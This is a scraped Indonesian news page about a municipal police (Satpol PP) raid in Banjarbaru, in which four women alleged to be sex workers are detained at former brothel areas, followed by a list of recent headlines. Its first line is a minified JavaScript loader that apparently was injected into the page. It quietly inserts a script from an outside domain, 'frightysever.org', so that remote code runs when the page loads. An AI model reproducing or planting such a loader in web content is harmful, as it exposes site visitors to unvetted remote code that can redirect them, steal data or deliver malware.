(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Razia Satpol PP di Eks Lokalisasi Bocor, 4 PSK Diangkut


BANJARBARU, Empat terduga Pekerja Seks Komersial (PSK) kembali terjaring saat giat rutin Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru, di tiga titik eks lokalisasi , Pembatuan, Batu Besi dan Km 18 Kecamatan Liang Anggang, Selasa (18/6) siang.

Kasatpol PP Banjarbaru Marhain Rahman melalui PPNS Seksi Opsdal Yanto Hidayat mengatakan pihaknya sebelumnya sempat kecolongan lantaran diduga adanya pihak yang membocorkan informasi terkait giat rutin tersebut.

“Sesampainya di tempat tujuan, ternyata suasana di TKP terlihat sunyi. Karena adanya indikasi bocornya informasi kegiatan, akhirnya anggota merubah haluan ke eks lokalisasi Km 18 Liang Anggang,” ujarnya.

Di lokasi tersebut sekitar pukul 13.00 Wita, petugas mengamankan satu orang wanita setelah melalui proses panjang pencarian ke semak-semak serta bangunsn rumah yang dicurigai petugas.

Tidak sampai disitu, Satpol PP yang merasa penasaran dengan tujuan awal terkait bocornya informasi pertama, kemudian kembali memutar haluan ke eks lokasi Pembatuan. Hasilnya, 1 PSK diamankan dari kawasan jalan Kenanga, Landasan Ulin tersebut.

Selanjutnya, 20 menit kemudian diamankan melalui proses pencarian yang merata, dua wanita diamankan di eks lokalisasi Batu Besi Kelurahan Guntung Manggis, Kecamatan Landasan Ulin.

“Dari hasil interogasi, 3 wanita yang kita amankan mengakui sebagai PSK, dan 1 orang lagi masih dalam proses penyidikan. Bahkan dari hasil pemeriksaan, rupanya salah satu PSK pada tahun 2016 lalu sudah mendapat Jadup (Jaminan Hidup) dari Kementerian Sosial,” lanjut Yanto.

Kini keempat wanita ini hanya bisa tetunduk malu dan atas perbuatan mereka terbukti telah melanggar Perda no 6 tahun 2002 tentang larangan pelacuran di Kota Banjarbaru, maka akan menjalani sidang di Pengadilan Negeri Banjarbaru untuk kasus Tipiring. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

13 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

14 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

16 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

20 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

20 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

22 jam ago

This website uses cookies.